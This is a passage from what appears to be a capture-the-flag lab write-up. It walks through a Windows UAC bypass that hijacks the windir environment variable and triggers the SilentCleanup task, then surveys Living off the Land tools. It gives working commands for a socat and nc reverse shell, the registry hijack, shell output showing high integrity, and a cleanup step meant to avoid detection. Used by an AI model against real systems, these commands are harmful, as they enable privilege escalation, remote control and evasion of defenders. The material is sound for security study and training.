cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive%Where anything after the "REM" is ignored as a comment.
Putting it all together
Let's set up a listener for a reverse shell with nc:
nc -lvp 4446
We will then connect to the backdoor provided on port 9999:
nc MACHINE_IP 9999
And finally, run the following commands to write our payload to %windir% and then execute the DiskCleanup task (be sure to replace your IP address where needed):
C:\> reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP::4446 EXEC:cmd.exe,pipes &REM " /f
C:\> schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /IAs a result, you should obtain a shell with high IL:
user@kali$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.183.127 25631
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /groups | find "Label"
Mandatory Label\High Mandatory Level Label S-1-16-12288To retrieve the DiskCleanup flag, use your new shell to execute:
Administrator: Command Prompt
C:\flags\GetFlag-diskcleanup.exeClearing our tracks
As a result of executing this exploit, some artefacts were created on the target system, such as registry keys. To avoid detection, we need to clean up after ourselves with the following command:
reg delete "HKCU\Environment" /v "windir" /fLiving off the Land
What is Living off the Land?
"Living Off the Land" refers to a technique used by attackers or hackers to leverage existing tools, utilities, or features that are already present on a targeted system or network for malicious purposes. Rather than relying on sophisticated malware or external tools, attackers exploit legitimate software or built-in functionalities to carry out their activities, making it harder to detect their actions.
Windows Sysinternals
The following are some popular Windows Sysinternals tools:
| AccessChk | Helps system administrators check specified access for files, directories, Registry keys, global objects, and Windows services. |
| PsExec | A tool that executes programs on a remote system. |
| ADExplorer | An advanced Active Directory tool that helps to easily view and manage the AD database. |
| ProcDump | Monitors running processes for CPU spikes and the ability to dump memory for further analysis. |
| ProcMon | An essential tool for process monitoring. |
| TCPView | A tool that lists all TCP and UDP connections. |
| PsTools | The first tool designed in the Sysinternals suite to help list detailed information. |
| Portmon | Monitors and displays all serial and parallel port activity on a system. |
| Whois | Provides information for a specified domain name or IP address. |
LOLBAS Project
LOLBAS (lolbas-project.github.io)
